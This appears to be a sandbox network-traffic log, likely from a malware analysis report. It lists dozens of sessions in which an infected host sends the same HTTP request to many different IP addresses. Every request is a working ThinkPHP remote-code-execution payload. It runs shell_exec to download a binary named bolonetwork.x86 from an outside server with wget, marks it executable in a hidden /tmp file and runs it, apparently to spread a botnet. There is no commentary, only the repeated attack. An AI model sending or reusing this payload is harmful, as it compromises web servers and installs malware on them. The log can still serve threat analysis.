Jul 20, 2024 23:05:44.334254026 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.13	56326	95.15.65.159	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.337819099 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.13	34442	95.12.205.106	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.340354919 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.13	38836	95.229.250.82	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.345300913 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.13	42704	95.92.0.189	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.347836971 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.13	47794	95.203.108.124	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.350573063 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.13	54412	95.157.224.56	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.353096962 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.13	36286	95.145.15.233	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.358747005 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.13	60396	95.247.168.194	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.363657951 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.13	48026	95.202.16.5	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.364135027 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.13	37818	95.37.52.245	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.882895947 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.13	35484	95.207.7.187	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.893573999 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.13	50186	95.70.247.253	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.897572041 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.13	47198	95.115.50.80	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.927946091 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.13	41720	95.133.102.226	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.938877106 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.13	54968	95.50.45.64	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.938877106 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.13	35442	95.139.27.54	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.941606045 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.13	50664	95.55.65.39	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.949245930 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.13	52976	95.169.197.20	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.951150894 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.13	46624	95.163.228.59	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.951150894 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.13	46862	95.8.43.97	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.952311039 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.13	51714	95.71.68.243	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.954197884 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.13	59260	95.174.198.161	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.954197884 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.13	42788	95.62.175.224	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.967700005 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.13	37050	95.122.50.119	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.972899914 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.13	60110	95.186.32.116	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.975141048 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.13	36212	95.123.38.121	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.980539083 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.13	55652	95.4.226.114	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.983330965 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.13	56426	95.227.200.110	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.983331919 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.13	43414	95.101.78.125	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.993079901 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.13	57882	95.224.40.109	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.997829914 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.13	37768	95.123.15.205	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.002389908 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.13	57630	95.128.116.2	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.005383968 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.13	37484	95.58.237.131	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.009113073 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.13	56804	95.81.214.18	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.009541988 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.13	35028	95.124.107.190	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.009541988 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.13	50154	95.203.152.93	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.009541988 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.13	32992	95.216.126.250	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.019042015 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.13	50082	95.159.6.36	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.061098099 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.13	53478	95.65.111.176	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.065392971 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.13	33872	95.77.7.73	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.072755098 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.13	45212	95.243.177.188	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.076466084 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.13	46456	95.142.27.251	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.083674908 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.13	41892	95.163.39.25	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.089448929 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.13	52910	95.151.87.68	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.095149040 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.13	32940	95.14.252.121	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.100651979 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.13	34822	95.130.82.28	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.106626987 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.13	40132	95.0.24.197	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.111850977 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.13	53866	95.99.179.194	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.122193098 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.13	38598	95.96.37.96	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.126471043 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.13	47906	95.169.39.23	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.133414030 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.13	40848	95.212.58.133	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.139457941 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.13	47806	95.158.64.25	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.157500029 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.13	50754	95.135.233.161	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:45.158279896 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

